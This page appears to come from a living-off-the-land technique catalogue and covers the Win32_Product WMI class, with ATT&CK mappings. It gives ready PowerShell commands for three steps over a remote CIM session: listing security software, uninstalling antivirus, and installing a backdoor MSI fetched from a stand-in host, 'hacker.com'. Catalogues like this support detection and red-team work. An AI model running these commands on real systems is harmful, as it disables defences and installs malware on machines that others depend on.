.. / Win32_Product

Represent products as they are installed by MSI


Functions:
Type:
Toolsets:

Resources

Manage

List installed software

Get-CimInstance -ClassName Win32_Product -CimSession $s | Select-Object Caption,Vendor,Version,InstallLocation
Usecase
Perform reconnaissance on installed security software

Comments
Mitre Att&ck
T1218.007

Uninstall software

Get-CimInstance Win32_Product -Filter 'Caption="Antivirus Software caption"' -CimSession $s | Remove-CimInstance
Usecase
Remove security software

Comments
Mitre Att&ck

Execute

Install software

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation="https://hacker.com/backdoor.msi"; Options=""; AllUsers=$true} -CimSession $s
Usecase
Launch and install malicious .msi package

Comments
Mitre Att&ck
T1218.007




Updated: 2023-08-25
Contributor: Arris Huijgen (bitsadmin)